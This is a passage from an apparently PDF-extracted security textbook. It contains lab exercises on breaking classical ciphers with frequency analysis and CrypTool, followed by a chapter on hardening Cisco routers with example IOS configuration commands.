Open up Visual Studio 2008. (If you do not have a copy for your own computer, it is available through the Microsoft Academic Alliance Program as well as Microsoft’s Dreamspark web site)

Open up the .sln file in StatisticalAnalysis folder with Visual Studio 2008

The project’s contents will be listed on the right-hand side of the IDE.

MainForm.cs is the UI code (if you would like to tinker with it, you may want to work on a copy). It also con-tains the methods you will need to implement in order to finish the lab. C# is very much like Java, if you have any questions about the language MSDN is a great resource (http://msdn.microsoft.com/en-us/vcsharp/aa336809.aspx)

PART 3

LAB EXCERCISES

245

Fill In The Code…

Read the descriptions and hints carefully and fill in the missing methods in Sta-tisticalAnalysis.cs.

// Pre-conditions: a class char[] called Transformation exists

// in the class; the value p is an input parameter

// Post-conditions: the contents of the class char[] called

// Transformation has been shifted by p characters

// (make sure it wraps around!)

// HINT: the modulus operator is %

public void ShiftTransformationArray(int p)

// Pre-conditions: a static char[] called Alphabet of length 26

// containing the alphabet (in UPPER CASE!!),

// and the string inputStr is an input parameter

// Post-conditions: an int[] of length 26 is calculated, where

// each value in the integer array is the

// number of occurrences (the frequency)

// the corresponding letter occurred in InputStr

public static int[] DetermineLetterFrequencies(String InputStr)

Lab Questions

1 What type of cipher is this program useful for breaking?

2 In this type of cipher, the relationship between characters in the plaintext and characters in the

ciphertext is _______________________________

3 List the frequencies for the top 4 characters found in the given ciphertext:

4 MKLAJZHAIUQWKHJABZNXBVHAGKFASDFGALQPIWRYIOQYWIERMASVZMNBZXCKJASDFGLKJFHWQERYIO QWTYIOASUDYFLASKJDHFZMZVBCXMVQLWERYIQRASDFQIWUERYIHKMFMAKHLSDFYUIOQWYREIORYI WQEUFHAKDFHLKASHFKVBBBNASMDFSADFWQEUYRUUEYRUUUQKASJHFKJDSHFSNBNBNBNBABABAAASKJ FHLKJSADHFIDUASFOYDASIYFQWERBQWBRKLJLKASSADFDFDASDA

5 Break the cipher text given in the following. What is the plaintext? What is the key?

OTWEWNGWCBPQABIZVQAPMLJGZWTTQVOBQUMAPMIDGZCAB

EQVBMZLZIXMLAXZQVOQVLMMXAVWEIVLLIZSNZWAB

JQZLWNLMTQOPBVIUMLGWCBPAEQNBTGTMNBBPMVMAB

TIAKWCTLVBBQUMQBEPQTMQBEIAQVUGBZCAB

PART

3LA

B E

XCER

CISE

S

246

Task 2: Lab on encryption using binary/byte addition

Under this encryption algorithm, the key entered is added character by character (byte by byte) to the data to be encrypted. Here addition modulo 256 is used, i.e. so that any carry-overs are ignored. The key is ap-plied cyclically (as under the Vigenère encryption algorithm and also with the Exclusive-OR), i.e. once all the characters (bytes) of the key have been used, the algorithm reverts to the first character until the text has been completely encrypted.

To decrypt the text, the characters of the key have to be subtracted from the encrypted text modulo 256.

If one knows the characters which occur most frequently in the plaintext, it is then possible to work out the key with the aid of a computer (and hence also the plaintext) (see Automatic analysis, Byte Addition).

The key used for Binary Addition is entered in the Key entry dialog.

This encryption algorithm can be easily broken with a Ciphertext-Only attack (see Automatic analysis, Byte Addition). An example of this will be found in the Examples chapter.

1. Open the file CrypTool-en.txt under C:\Program Files (x86)\CrypTool\examples.

2. Click “Analysis\Tools for Analysis\Histogram”.

PART 3

LAB EXCERCISES

247

We can see from the histogram that the character which occurs most frequently is the letter E. This is true of many German and English texts. This information will be used later on during our attack.

3. Close the histogram dialog. Choose from menu “Encrypt/Decrypt\Symmetric\Byte Addition”.

4. Enter 12 34 AB CD as the key and click Encrypt.

The encrypted message shows up:PA

RT 3

LAB

EXC

ERCI

SES

248

5. cipher text only attack will be performed. Choose from menu “Analysis\Symmetric\Ciphertext-only\Byte Addition”.

We are told that key length is calculated to be 4. The commonest character is E with hexadecimal value of 45. If we look at the plaintext, the most frequently character is e with hexadecimal value of 65. We enter into the Expected most common character field in the Byte-by-byte Addition Analysis box 20 (=65-45).

6. Click “Continue”, CrypTool has been able to find the key. The only information was needed to do this was the fact that the character which occurred most frequently in the plaintext was the lower case letter e.

7. Click the “Decrypt” button shows the plaintext.

PART 3

LAB EXCERCISES

249

8. If the text is compressed prior to encryption then we will not be able to draw any conclusions from the frequency distribution of the characters in the text about the frequency distribution of the compressed text, since the compression process not only reduces size of a file but alters the frequencies of the individual char-acters so that they no longer reflect the frequencies of the characters in the original text. To compress the document, we make startingexample-en.txt active again. And select “Indiv. Procedure\Tools\Compress\Zip”, the rate of compression is displayed.

9. Click “OK”, the compressed document is shown.

PART

3LA

B E

XCER

CISE

S

250

10. Click “Analysis\Tools for Analysis\Histogram” to see its histogram. The compression produces a quite dif-ferent histogram profile from the one previously obtained for the uncompressed document. The characters are much more evenly distributed than in the unencrypted document.

11. Make the compressed document the active window once again and the encrypt it using the same key 12 34 AB CD.

12. Click “Encrypt”.

PART 3

LAB EXCERCISES

251

13. We invoke the analysis again by choosing from menu “Analysis\Symmetric\Ciphertext-only\Byte Addi-tion”.

CrypTool returns an incorrect key length of 12.

PART

3LA

B E

XCER

CISE

S

252

Given this key length, it is not possible to find the correct key either.

14. We will check whether it is possible to arrive at a readable version of the text document from the com-pressed and then encrypted document. We will provide the key and then unzip.

We will make the compressed and encrypted document the active window again. Choose from menu “En-crypt/Decrypt\Symmetric\Byte Addition”.

15. Enter 12 34 AB CD as the key and click Decrypt.

16. Choose from menu “Indiv. Procedure\Tools\Compress\UnZip”, and the original text is displayed.

PART 3

LAB EXCERCISES

253

Task 3: Encryption using binary Exclusive-OR (XOR) (30 points)

1. Open file CrypTool.bmp from “C:\Program Files (x86)\CrypTool\examples”.

2. Look at the frequency distribution of the characters by clicking “Analysis\Tools for Analysis \ Histogram”.

You can see from the histogram that the character which occurs most frequently has the value 255. In hexa-decimal notation this corresponds to FF. This information will be used later on during our attack.

3. Click on the window of “CrypTool.bmp”. And click “Encrypt\Decrypt/Symmetric/XOR” from menu.

PART

3LA

B E

XCER

CISE

S

254

4. Enter 12 34 56 78 as the key.

5. Click “Encrypt”

6. We will perform the cipher-text only attack. Select “Analysis\Symmetric Encryption\Ciphertext-Only\XOR”.

PART 3

LAB EXCERCISES

255

The autocorrelation is calculated and displayed. We are told that the key length is calculated to be 4. As we have seen in step 2, the most commonest character is FF. This we enter in the Expected most common char-acter field.

7. Click “Continue”.

8. Click “Decrypt”.

PART

3LA

B E

XCER

CISE

S

256

9. If we compress the document before encryption. By clicking “Indiv. Procedure\Tools\Compress\Zip”.

10. Select “Analysis\Tools for Analysis \ Histogram”, which produces a quite different histogram from the one previously obtained for the uncompressed picture in bitmap format.

11. Encrypt the compressed document by selecting “Encrypt\Decrypt/Symmetric/XOR” from menu and use 12 34 56 78 as the key.

12. We will perform the analysis. Select “Analysis\Symmetric Encryption\Ciphertext-Only\XOR”. CrypTool returns incorrect key length.

PART 3

LAB EXCERCISES

Lesson 1 Securing Routers & Switches

Lesson 2 Securing Windows Hosts

Lesson 3 Securing Linux Hosts

Lesson 4 Planning Information Securiy

PART 4 Securing Assets

258

Router Security

Routers direct and control much of the data flowing across computer networks. This module provides tech-nical guidance intended to help network administrators and security officers improve the security of their networks. Using the information presented here, you can configure your routers to control access, resist attacks, shield other network components, and protect the integrity and confidentiality of network traffic.

The Roles of Routers in Modern Networks

On a very small computer network, it is feasible to use simple broadcast or sequential mechanisms for moving data from point to point. An Ethernet local area network (LAN) is essentially a broadcast network. In larger, more complex networks, data must be directed specifically to the intended destination. Routers direct network data messages, or packets, based on internal addresses and tables of routes, or known desti-nations that serve certain addresses. Directing data between portions of a network is the primary purpose of a router.

Figure 5.1

Most large computer networks use the TCP/IP protocol suite. See previous section for a quick review of TCP/IP and IP addressing. Figure 5-1, below, illustrates the primary function of a router in a small IP network.

If the user host (top left) needs to send a message to the file server (bottom right), it creates a packet with address 14.2.9.10, and sends the packet over LAN 1 to its gateway, Router 1. Consulting its internal route table, Router 1 forwards the packet to Router 2. Consulting its own route table, Router 2 sends the packet over LAN 3 to the File Server. In practice, the operation of any large network depends on the route tables in all of its constituent routers. Without robust routing, most modern networks cannot function. Therefore, the security of routers and their configuration settings is vital to network operation.

SECURIN

G RO

UTERS &

SWITCH

ES

259

In addition to directing packets, a router may be responsible for filtering traffic, allowing some data packets to pass and rejecting others. Filtering is a very important responsibility for routers; it allows them to protect computers and other network components from illegitimate or hostile traffic.

Motivations for Providing Router Security

Routers provide services that are essential to the correct, secure operation of the networks they serve. Compromise of a router can lead to various security problems on the network served by that router, or even other networks with which that router communicates.

• Compromise of a router’s route tables can result in reduced performance, denial of network communica-tion services, and exposure of sensitive data.

• Compromise of a router’s access control can result in exposure of network configuration details or denial of service, and can facilitate attacks against other network components.

• A poor router filtering configuration can reduce the overall security of an entire enclave, expose internal network components to scans and attacks, and make it easier for attackers to avoid detection.

• On the other hand, proper use of router cryptographic security features can help protect sensitive data, ensure data integrity, and facilitate secure cooperation between independent enclaves.

In general, well-configured secure routers can greatly improve the overall security posture of a network. Se-curity policy enforced at a router is difficult for negligent or malicious end-users to circumvent, thus avoid-ing a very serious potential source of security problems.

There are substantial security resources available from router vendors. For example, Cisco offers extensive on-line documentation and printed books about the security features supported by their products. These books and papers are valuable, but they are not sufficient. Most vendor-supplied router security documents are focused on documenting all of the security features offered by the router, and do not always supply security rationale for selecting and applying those features. This guide attempts to provide security rationale and concrete security direction, with pertinent references at the end of each section identifying the most useful vendor documentation. This module also provides pointers to related books, vendor documents, standards, and available software.

To help make this guide more practical, most of the sections include extensive instructions and examples. The following typographic conventions are used as part of presenting the examples.

Specific router and host commands are identified in the text using Courier bold typeface: “to list the current routing table, use the command show ip route.

” Command arguments are shown in Courier italics: “syntax for a simple IP access list rule is

access-list number permit host address.”

SECU

RIN

G R

OU

TERS

&SW

ITCH

ES

260

Sequences of commands to be used in a configuration are shown separately from the text, using Courier typeface. The exclamation point begins a comment line, usually a remark about the line that follows it.

! set the log host IP address and buffer size

logging 14.2.9.6

logging buffered 16000

Transcripts of router sessions are shown separately from the text, using Courier typeface. Input in the tran-script is distinguished from output, user input and comments are shown in Courier bold typeface. Elision of long output is denoted by two dots. In some cases, output that would be too wide to fit on the page is shown with some white space removed, to make it narrower.

IP addresses will be shown in the text and in diagrams as A.B.C.D, or as A.B.C.D/N, where N is the number of set bits in the IP netmask. For example, 14.2.9.150/24 has a netmask of 255.255.255.0. (In general, this class-less netmask notation will be used where a netmask is relevant. Otherwise, the bare address will be used.)

Cisco IOS accepts the shortest unique, unambiguous abbreviation for any command or keyword. For com-mands that are typed very frequently, this guide uses many abbreviations commonly employed in the Cisco documentation and literature. For example, the interface name ethernet is commonly abbreviated “eth” and the command configure terminal is commonly abbreviated “config t”.

In a few cases, commands shown in examples are too long to fit on one line; they are shown broken across several lines. The IOS command line interface will not permit this; when attempting to apply these examples, you will need to type the long command on one line.

Attacks on Routers

• General threats include but are not limited to: unauthorized access, session hijacking, rerouting, mas-querading, Denial of Service (DoS), eavesdropping, and information theft. In addition to threats to a router from the network, dial up access to a router exposes it to further threats.

• Attack techniques include: password guessing, routing protocol attacks, SNMP attacks, IP fragmentation attacks – to bypass filtering, redirect (address) attacks, and circular redirect – for denial of service.

• Session replay attacks use a sequence of packets or application commands that can be recorded, possi-bly manipulated, and then replayed to cause an unauthorized action or gain access.

• Rerouting attacks can include manipulating router updates to cause traffic to flow to unauthorized des-tinations. These kinds of attacks are sometimes called “route injection” attacks.

• Masquerade attacks occur when an attacker manipulates IP packets to falsify IP addresses. Masquerades can be used to gain unauthorized access or to inject bogus data into a network.

SECURIN

G RO

UTERS &

SWITCH

ES

261

• Session hijacking may occur if an attacker can insert falsified IP packets after session establishment via IP spoofing, sequence number prediction and alteration, or other methods.

• Resource starvation attacks usually involve flooding the router with traffic or requests designed to con-sume all of some limited resource. Target resources may be bandwidth, memory, or even computation.

• Careful router configuration can help prevent a (compromised) site from being used as part of a Distrib-uted Denial of Service (DDoS) attack, by blocking spoofed source addresses. DDoS attacks use a number of compromised sites to flood a target site with sufficient traffic or service requests to render it useless to legitimate users.

• An enumeration of steps to take to improve router security, and an explanation of the tradeoffs involved is the substance of later sections of this document.

Packet Filters for TCP/IP

A packet filter for TCP/IP services provides control of the data transfer between networks based on address-es and protocols. Routers can apply filters in different ways. Some routers have filters that apply to network services in both inbound and outbound directions, while others have filters that apply only in one direction. (Many services are bi-directional. For example, a user on System A telnets to System B, and System B sends some type of response back to System A. So, some routers need two filters to handle bi-directional services.) Most routers can filter on one or more of the following: source IP address, source port, destination IP ad-dress, destination port, and protocol type. Some routers can even filter on any bit or any pattern of bits in the IP header. However, routers typically do not have the capability to filter on the content of services (e.g. FTP file name).

Packet filters are especially important for routers that act as the gateway between trusted and untrusted networks. In that role, the router can enforce security policy, rejecting protocols and restricting ports ac-cording to the policies of the trusted network. Filters are also important for their ability to enforce address-ing constraints. from the internal or protected network (right to left) must bear a source address within a particular range. This is sometimes called egress filtering. Similarly, the router should enforce the constraint that packets arriving from the Internet must bear a source address outside the range valid for the protected network. This is a form of ingress filtering.

Two key characteristics of TCP/IP packet filters are length and ordering. A filter consists of one or more rules, with each rule either accepting or denying a certain set of packets. The number of rules in a filter determines its length. Generally, as the length grows the filter becomes more complex and more difficult to trouble-shoot. The order of the rules in a packet filter is critical. When the router analyzes a packet against a filter the packet is effectively compared to each filter rule in sequential order. If a match is found then the packet is either permitted or denied and the rest of the filter is ignored. If no match is found then the packet is denied due to the implicit deny rule at the end of the filter. You must carefully create filter rules in the proper order so that all packets are treated according to the intended security policy. One method of ordering involves placing those rules that will handle the bulk of the traffic as close to the beginning of the filter as possible. Consequently, the length and ordering of a packet filter rule set can affect the router’s performance. (Note: This discussion is applicable to the packet filtering facilities of Cisco routers, most other kinds of routers, and most packet filtering firewalls.

SECU

RIN

G R

OU

TERS

&SW

ITCH

ES

262

Applying Packet Filters: Permit Only Required Protocols and Services

Carefully consider what network services will be allowed through the router (outbound and inbound) and to the router. If possible, use the following guideline for creating filters: those services that are not explicitly permitted are prohibited. This guideline is especially important for border routers. Make a list of the services and protocols that must cross the router, and those that the router itself needs for its operation. Create a set of filtering rules that permit the traffic identified on the list, and prohibits all other traffic.

In cases where only certain hosts or networks need access to particular services, add a filtering rule that per-mits that service but only for the specific host addresses or address ranges. For example, the network firewall host might be the only address authorized to initiate web connections (TCP port 80) through the router.

Applying Packet Filters: Reject Risky Protocols and Services

Sometimes, it is not possible to follow the strict security guideline discussed above. In that case, fall back to prohibiting services that are commonly not needed, or are known to be popular vehicles for security compromise. The following two tables present common services to restrict because they can be used to gather information about the protected network or they have weaknesses that can be exploited against the protected network. The first table lists those services that should be completely blocked by a typical border router. Unless you have a specific operational need to support them, the protocols listed in Table below should not be allowed across the router in either direction.

SECURIN

G RO

UTERS &

SWITCH

ES

263

Standard Ports and Protocols

Some organizations maintain a list of standard ports and protocols that should be allowed or supported on their networks. Various organization in the US DOD maintain such lists, and the Defense Information System Agency (DISA) is attempting to manage the creation of a standard list for the entire DOD.

For networks that are subject to such lists, it is best to take the first approach, allowing only those ports and protocols mandated by the standard list, and rejecting all others.

Address Filtering

Router filters should also be used to protect against IP address spoofing, especially on border routers. In most cases filtering rules should apply both ingress and egress filtering, including blocking reserved ad-dresses. The principles to apply on border routers are listed below.

Reject all traffic from the internal networks that bears a source IP address which does not belong to the in-ternal networks. (Legitimate traffic generated by sources on the internal networks will always bear a source address within the range or ranges assigned to the internal networks; any other traffic is attempting to claim a bogus source address, and is almost certainly erroneous or malicious in nature.)

Reject all traffic with a source or destination address belonging to any reserved, unroutable, or illegal ad-dress range.

Mitigating Denial of Service Attacks

Loss of service or severely degraded network performance can result from a variety of causes. Denial of Ser-vice (DoS) refers to willful attempts to cause such disruptions. Though DoS attacks can be viewed as tolera-ble annoyances, they can have serious consequences if they occur during a time of crisis. There is no com-plete solution to the DoS problem; as long as the resources of a network are limited and openly available they will be vulnerable to attack. There are measures that network administrators can take to protect net-works from DoS attacks and lessen their effects. These measures require some cooperative effort between those who administer hosts, network devices, and provider access. To be effective, these measures must be planned and in place before an attack occurs.

At the enterprise level there are three primary strategies for combatting DoS attacks, described in detail below.

1. Prevent malicious traffic from entering the common network from the enterprise network.

2. Configure and deploy local protective measures, at both border and interior routers.

3. Coordinate protective measures against distributed DoS attacks with network access providers and/or backbone administrators.

SECU

RIN

G R

OU

TERS

&SW

ITCH

ES

264

First, it is important for every network administrator to help reduce the number of DoS attack launch platforms. Do not let your network be the origin point for a DoS attack; keep hosts secure and eliminate compromised hosts from the network immediately. There are several mechanisms available on routers to thwart certain kinds of DoS attacks. Many of these attacks require use of invalid or spoofed source address-es. For example, invalid addresses are used in SYN flood attacks to ensure that the TCP handshake on the target host times out waiting for a response. There are several ways to filter out these improperly-addressed packets. Access control lists are a general filtering facility available on all routers (see Section 4.3). Black hole routing can also be useful, and works on all routers (see Section 4.4.6). Most Cisco routers support a facility called Unicast Reverse-Path Forwarding Verification that uses the route table to detect and drop improper-ly- addressed packets. Where possible, you should log occurences of bad packets, logging these violations can help identify compromised hosts that need to be removed from your network. Of course, detection will depend on reviewing the router logs on a regular basis.

You can defend against some individual DoS attacks locally by rejecting packets with invalid source address-es as they arrive at a border router. Invalid or otherwise untraceable source addresses are often used to hide the actual source of an attack. Also, router services that support attacks or attack amplification should be disabled. Some routers and firewalls offer specialized facilities to mitigate TCP SYN flood attacks; on Cisco routers this facility is called TCP Intercept. In some cases, router traffic rate control or quality of service facil-ities can be used to protect critical services from the full effects of DoS attacks .Router facilities may also be supplemented by commercial anti-DoS products that provide finer-grained filtering and attack detection.

A border router cannot control the type or overall volume of traffic that is sent to it. DoS mitigation necessar-ily requires cooperative action “upstream,” i.e. from the access provider, (possibly from) the transport provid-er, the source point access provider, or even from the administrators of the attacking hosts. For example, as the packets of an ICMP flood converge at the uplink, legitimate traffic is crowded out by bogus traffic and packets are lost to traffic flow control. Connections and data transfers are starved and eventually time out or hang because they are unable to resynchronize. If your access provider performs statistical monitoring of traffic, they can take steps to block and trace back bad traffic as the attack ramps up. If no such quality of service monitoring exists, then the network being attacked will need to actively request its access provider filter out offending traffic.

There is no set of methods that can completely counter all known DoS attacks, and certainly there will be novel kinds of DoS attacks discovered in the future. It is still prudent to be prepared to handle well-known DoS attacks using facilities already available. Routers are a part of the solution, but cautious design, contin-gency planning, and cooperation among network administrators are also necessary.

Access Mechanisms for Administrators

Controlling access to a router by administrators is an important issue. There are two types of access: local and remote. Local access usually involves a direct connection to a console port on the router with a dumb terminal or a laptop computer. Remote access typically involves allowing telnet or SNMP connections to the router from some computer on the same subnet or a different subnet. It is recommended to only allow local access because during remote access all telnet passwords or SNMP community strings are sent in the clear to the router. If an attacker can collect network traffic during remote access then he can capture passwords or community strings. However, there are some options if remote access is required.

1. Establish a dedicated management network. The management network should include only identified administration hosts and a spare interface on each router.

SECURIN

G RO

UTERS &

SWITCH

ES

265

Another method is to encrypt all traffic between the administrator’s computer and the router. (Section 5.2 shows an example of setting up IPSec encryption with a Cisco router and Windows 2008.

In either case, packet filters can be configured to permit only the identified administration hosts manage-ment access to the router.

In addition to how administrators access the router, there may be a need to have more than one level of administrator, or more than one administrative role. Define clearly the capabilities of each level or role in the router security policy. For example, one role might be “network manager”, and administrators authorized to assume that role may be able to view and modify the configuration settings and interface parameters. Another role might be “operators”, administrators authorized to assume that role might be authorized only to clear connections and counters. In general, it is best to keep the number of fully privileged administrators to a minimum.

Updating the Router

Periodically the router will require updates to be loaded for either the operating system or the configuration file. These updates are necessary for one or more of the following reasons: to fix known security vulnerabil-ities, to improve performance or support new features (perhaps some that allow more advanced security policies). Before updating, the administrator should complete the following checks. Determine the memory required for the update, and if necessary install additional memory. Set up and test file transfer capability between the administrator’s host and the router. Schedule the required router and network downtime, usu-ally after regular business hours, to perform the update.

After obtaining an update from the router vendor (and verifying its integrity), the administrator should follow procedures similar to the following. Shut down or disconnect the interfaces on the router. Back up the current operating system and the current configuration file to the administrator’s computer. Load the update for either the operating system or for the configuration file. Perform tests to confirm that the update works properly. If the tests are successful then restore or reconnect the interfaces on the router. If the tests are not successful then back out the update.

Logging

Logging a router’s activities and status offers several benefits. Using the information in a log, the adminis-trator can tell whether the router is working properly or whether it has been compromised. In some cases, it can show what types of probes or attacks are being attempted against the router or the protected network.

Configuring logging on the router should be done carefully. Send the router logs to a designated log host, which is a separate computer whose only job is to accept and store logs. The log host should be connected to a trusted or protected network, or an isolated and dedicated router interface. Harden the log host by removing all unnecessary services and accounts. Set the level of logging on the router to meet the needs of your security policy, and expect to modify the log settings as the network evolves. The logging level may need to be modified based on how much of the log information is useful. Two areas that should be logged are (1) matches to filter rules that deny access, and (2) changes to the router configuration.

The most important thing to remember about logging is that logs must be reviewed regularly. By checking over the logs periodically, you can gain a feeling for the normal behavior of your network. A sound un-derstanding of normal operation and its reflection in the logs will help you to identify abnormal or attack conditions.

SECU

RIN

G R

OU

TERS

&SW

ITCH

ES

266

Accurate timestamps are important to logging. All routers are capable of maintaining their own time-of-day, but this is usually not sufficient. Instead, direct the router to at least two different reliable time servers (via NTP) to ensure accurate and reliable of time information. Direct the logging host to reliable time servers. Include a timestamp in each log message. This will allow you to trace network attacks more credibly. Finally, consider also sending the logs to write-once media or a dedicated printer to deal with worst case scenarios (e.g. compromise of the log host).

Operational Security Management

Maintaining the security of a router over its operational lifetime requires regular assessment, testing, and correction.

Another important aspect of lifetime security is preparing for problems. Keeping up to date backups of router configurations and installed IOS releases is essential for quick and reliable recovery from security compromises or simple hardware failures. Plan your recovery actions, write down the procedures, and then exercise the plan periodically so that all the participants understand their roles. Your recovery plan must be coordinated with your security policy (see next section).

In the case of a security compromise, it is highly desirable to preserve the evidence, so that it can be used in a forensic investigation or even prosecution. Include the steps for capturing the compromised state of a router in your recovery plan.

Implementing Security on Cisco Routers

The diagram below shows a simple network configuration.

SECURIN

G RO

UTERS &

SWITCH

ES

267

The visual on the previous page is simply a vehicle for presenting security guidance about routers, it is not a design for a secure network. However, this architecture reasonably reflects the kinds of networks found in many organizations.

Router Access Security

This section discusses the various mechanisms used to protect the router itself. These include physical access, user account protection, software protection, remote administration concerns, and configuration issues. When thinking about the security of your network it is important to consider these issues for all your systems, where applicable, as well as for your routers.

Physical Security

Once an individual has physical access to a piece of networking equipment there is no way to stop him from modifying the system. This problem is not only confined to network devices but is also true of computers and any other electrical or mechanical device. It is always a matter of time and effort. There are things that can be done to make this more difficult, but a knowledgeable attacker with access can never be completely defeated, only slowed down. One of the best additions to the security features of a computer network is to limit access. Network infrastructure components, like routers, are especially important because they are often used to protect segments of the network and can also be used for launching attacks against other network segments.

Network equipment, especially routers and switches, should be located in a limited access area. If possible, this area should only be accessible by personnel with administrative responsibilities for the router. This area should be under some sort of supervision 24 hours a day and 7 days a week. This can be accomplished through the use of guards, system personnel, or electronic monitoring. In practice, physical security mech-anisms and policies must not make access too difficult for authorized personnel, or they may find ways to circumvent the physical security precautions.

Router Software Versions

Cisco issues new IOS versions and upgrades fairly frequently; making it a significant administrative burden to keep all the routers on a large network up to date. Newer versions of IOS fix bugs and vulnerabilities that existed in the older versions, and add new security features. Keep your IOS as up to date as is practical. A second problem is that the early versions of new IOS releases can be less robust than more mature, later versions (i.e. 12.0.1 was an early version of IOS Release 12, while 12.0.9 was a mature version of Release 12). A good approach to this problem is to maintain operational routers with recent, but not cutting-edge, Cisco IOS releases. This will allow others to find the bugs in the newer versions (and get them fixed). The recom-mended minimum IOS release is IOS 12.0. The recommended newest release would be the most recent “GD” version that is at least a month old (at the time of this writing, 12.1.21). To check your IOS version, log in and enter the command show version.

SECU

RIN

G R

OU

TERS

&SW

ITCH

ES

268

Logins, Privileges, Passwords, and Accounts

Logins and Banners

A login banner, which includes a legal notice, should be set up on each operational router. A legal notice usually includes a ‘no trespassing’ warning, a statement that all use of the device must be authorized by the owning organization, a statement about the device being subject to monitoring, and perhaps a statement threatening prosecution. A proper legal notice protects the ability of the owning organization to pursue legal remedies against an attacker. Consult your organization’s legal staff or general counsel for suitable language to use in your legal notice.

Do not include any network architecture or device information in the banner message. Router model and location information should never be included. Be careful not to provide any information in the banner mes-sage that should not be shared with the general public. To set the router’s message-of-the-day banner use the command banner motd delimiter message delimiter. The delimiter can be any single character.

The console (con) port is the default location for performing router management and configuration. It is okay to leave a connection to the console port attached all the time, but that terminal (or computer) should be standalone, and protected from unauthorized access. The connection to the console port should not be left logged in. Configure the console line to time out EXEC sessions, so that if an administrator forgets to log out, the router will log him or her out automatically. The example below shows how to set up the console line to enforce a five-minute timeout; the command transport input none prevents remote access to the console port via reverse-telnet (on IOS 12.0 and earlier only).

Central# config t

Enter configuration commands, one per line. End with CNTL/Z.

Central(config)# line con 0

Central(config-line)# transport input none Central(config-line)# exec-time-out 5 0

Central(config-line)# exit

Central(config)#

Each authorized user should log in using their own account (for more details, see the Accounts sub-section below). Apply the command login local to the console line to enforce user log. Note that you must create at least one user account, otherwise you will be locked out of the console. If you do not already have users accounts set up, then create at least one before setting the console to use local login. The syntax for creating a local user is username name privilege level password string. The example below shows how to create an account with a password and set console login.

Central(config)# username desmond privilege 1 password g00d+pa55w0rd

Central(config)# line con 0

Central(config-line)# login local

Central(config-line)# end

Central#

SECURIN

G RO

UTERS &

SWITCH

ES

269

The auxiliary port, if at all possible, should be disabled. Router Central, in the sample network diagram (Fig-ure 4-1), has no need for the aux port. The example below shows how to disable login on the auxiliary port (login to enable mode first):

Central# config t

Enter configuration commands, one per line. End with CNTL/Z.

Central(config)# line aux 0

Central(config-line)# transport input none

Central(config-line)# login local

Central(config-line)# exec-timeout 0 1

Central(config-line)# no exec

Central(config-line)# exit

This Section discusses configuration of the auxiliary port if it is required for a modem. If the auxiliary port is required for a second local serial connection then configure it as shown below.

Central(config)# line aux 0

Central(config-line)# exec-timeout 5 0

Central(config-line)# login local

Central(config-line)# transport input none

Central(config-line)# exec

Central(config-line)# end

Central#

TTYs and Remote Administration

One primary mechanism for remote administration of Cisco routers is logging in via Telnet or SSH; these connections are called virtual terminal lines. Login on the virtual terminal lines should be disabled if remote administration is not absolutely necessary. Remote administration without encryption is inherently dan-gerous because anyone with a network sniffer on the right LAN segment can acquire the router passwords and would then be able to take control of the router. To disable network virtual terminal connections to the router, create an access list and apply it to the virtual terminal lines, or use the command transport input none, as shown in the example below. [Note: perform these commands only when connected to the aux or console port, do not perform them while logged into the router via Telnet.

SECU

RIN

G R

OU

TERS

&SW

ITCH

ES

270

South# config t

Enter configuration commands, one per line. End with CNTL/Z.

South(config)# no access-list 90

South(config)# access-list 90 deny any log

South(config)# line vty 0 4

South(config-line)# access-class 90 in

South(config-line)# transport input none

South(config-line)# login local

South(config-line)# exec-timeout 0 1

South(config-line)# no exec

South(config-line)# end

South#

Most versions of IOS have five virtual terminals, numbered 0 through 4. Some IOS versions (including the versions designated “Enterprise”) may have 15, 64, or even more. It is important to know how many virtual terminals your IOS version has, and to explicitly configure all of them securely. If you do not know how many vtys your router supports, you can list them using the command show line vty in the manner shown below.

South# show line vty 0 935

Privileges

Cisco IOS provides for 16 different privilege levels ranging from 0 to 15. Cisco IOS comes with 2 predefined user levels. User EXEC mode runs at privilege level 1 and “enabled” mode (privileged EXEC mode) runs at level 15. Every IOS command is pre-assigned to either level 1 or level 15. If the router is configured with aaa new- model then local or remote AAA can be used for user authorization (see Section 4.6 for more details).

By default Cisco provides EXEC (level 1) with a few commands which may, in terms of security, make more sense being at a higher privilege level. The next example hows how to move the commands to the privi-leged mode, which in most configurations should be protected better.

Central(config)# privilege exec level 15 connect

Central(config)# privilege exec level 15 telnet

Central(config)# privilege exec level 15 rlogin

Central(config)# privilege exec level 15 show ip access-lists

Central(config)# privilege exec level 15 show access-lists

Central(config)# privilege exec level 15 show logging

Central(config)# ! if SSH is supported..

Central(config)# privilege exec level 15 ssh

Central(config)# privilege exec level 1 show ip

SECURIN

G RO

UTERS &

SWITCH

ES

271

It is also possible to set up intermediate privilege levels. For example, an organization might want to set up more than the two levels of administrative access on their routers. This could be done by assigning a pass-word to an intermediate level, like 5 or 10, and then assigning particular commands to that privilege level. Deciding which commands to assign to an intermediate privilege level is beyond the scope of this docu-ment. But, if an attempt was made to do something like this there are a few things to be very careful about. First, do not use the username command to set up accounts above level 1, use the enable secret command to set a level password instead (see next sub-section). Second, be very careful about moving too much access down from level 15, this could cause unexpected security holes in the system. Third, be very careful about moving any part of the configure command down, once a user has write access they could leverage this to acquire greater access.

Passwords

There are two password protection schemes in Cisco IOS. Type 7 uses the Cisco- defined encryption algo-rithm which is known to the commercial security community to be weak. Type 5 uses an iterated MD5 hash which is much stronger. Cisco recommends using Type 5 encryption instead of Type 7 where possible.

Type 7 encryption is used by the enable password, username, and line password commands.

To protect the privileged EXEC level as much as possible, do not use the enable password command, only use the enable secret command. Even if the enable secret is set do not set the enable password, it will not be used and may give away a system password.

South# config t

Enter configuration commands, one per line. End with CNTL/Z.

South(config)# enable secret 2-mAny-rOUtEs

South(config)# no enable password

South(config)# end

South#

Because it is not possible to use Type 5 encryption on the default EXEC login or the username command (prior to IOS 12.3), no user account should be created above privilege level 1. But user accounts should be created for auditing purposes (see Accounts, below). The username command should be used to create indi-vidual user accounts at the EXEC level and then the higher privilege levels should be protected with enable secret passwords. Then users with a need to work at higher levels would be given the higher privilege level password.

If the login command is used to protect a line then the line password command is the only way to set a password on a line. But if the login local command is used to protect a line then the specified user name/password pair is used. For access and logging reasons the login local method should be used. In addition to the above password access mechanisms, AAA mechanisms may be used to authenticate, authorize, and audit users )

Good security practice dictates some other rules for passwords. Some of the more important rules are pro-vided in the following list.

SECU

RIN

G R

OU

TERS

&SW

ITCH

ES

272

The privileged EXEC secret password should not match any other user password or any other enable secret password. Do not set any user or line password to the same value as any enable secret password.

Enable service password-encryption; this will keep passersby from reading your passwords when they are displayed on your screen.

Be aware that there are some secret values that service password- encryption does not protect. Never set any of these secret values to the same string as any other password.

1. SNMP community strings

